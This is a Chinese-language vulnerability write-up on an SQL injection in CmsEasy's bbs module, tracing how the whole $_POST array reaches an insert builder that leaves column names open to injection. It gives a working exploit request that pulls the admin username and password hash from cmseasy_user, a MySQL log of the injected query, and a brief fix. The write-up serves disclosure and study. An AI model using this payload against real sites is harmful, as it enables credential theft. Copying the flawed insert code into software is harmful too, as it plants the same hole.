CmseasySQL注射漏洞之三及修复网站安全自学

注入。。

bbs中发文章的时候 直接把$_POST数据带入 拼接sql功能函数中导致注入

/bbs/add-archive.php 30行

 

if($id = $archive->inserData($_POST)){

直接带入整个$_POST

/bbs/model/db/base.php 38行

 

public function inserData($data){
$r = $this->odb->insert($this->tblName,$data); //在跟入
if($r)
return $this->odb->getInsertId();
else
return false;
}

/bbs/commonlib/db.php

 

public function insert($table, $data)
{
$sql = $this->getInsertString($table, $data);//拼接sql 继续看。。
return $this->execSql($sql);
}

 

public function getInsertString($table, $data)
{
$n_str = &＃39;&＃39;;
$v_str = &＃39;&＃39;;
$table = $this->filterString($table);
foreach ($data as $k => $v)//遍历数据 因为穿过来的是整个$_POST所以 我们可以任意控制 列明和值
{
$n_str .= $this->filterString($k).&＃39;,&＃39;;
$v_str .= "&＃39;".$this->filterString($v)."&＃39;,";
}
$n_str = preg_replace( "/,$/", "", $n_str );
$v_str = preg_replace( "/,$/", "", $v_str );
$str = &＃39;INSERT INTO &＃39;.$table.&＃39; (&＃39;.$n_str.&＃39;) VALUES(&＃39;.$v_str.&＃39;)&＃39;;
return $str;
}

 

public function filterString($str)
{
if ($this->magic_quotes)
{
$str = stripslashes($str);
}
if ( is_numeric($str) ) {
return $str;
} else {
$ret = @mysqli_real_escape_string($this->con, $str);
if ( strlen($str) && !isset($ret) ) {
$r = $this->checkConnection();
if ($r !== true) {
$this->closeDB();
$ret = $str;
}
}
return $ret;
}
}

过滤也没什么用 因为没过滤关键一些语句

里面还有一个360safe.php的脚本 但是 这个并不过滤键名 只过滤键值
还有一个变量名中的点和空格被转换成下划线。不过不用空格也是可以的。。

exp:
http://127.0.0.1/ PHP /CmsEasy/bbs/add-archive.php?cid=1
(POST)
title=a&content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID%3D1)))#=c&submit=a&verify=HKCX
mysql 日志 ：

2070 QueryINSERT INTO cmseasy_bbs_archive (title,content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID=1)))#,username,userid,ip,addtime) VALUES(&＃39;a&＃39;,&＃39;c&＃39;,&＃39;123213&＃39;,&＃39;4&＃39;,&＃39;127.0.0.1&＃39;,&＃39;1403698291&＃39;)



 

 

 

修复方案：

不要把$_POST提交过去。。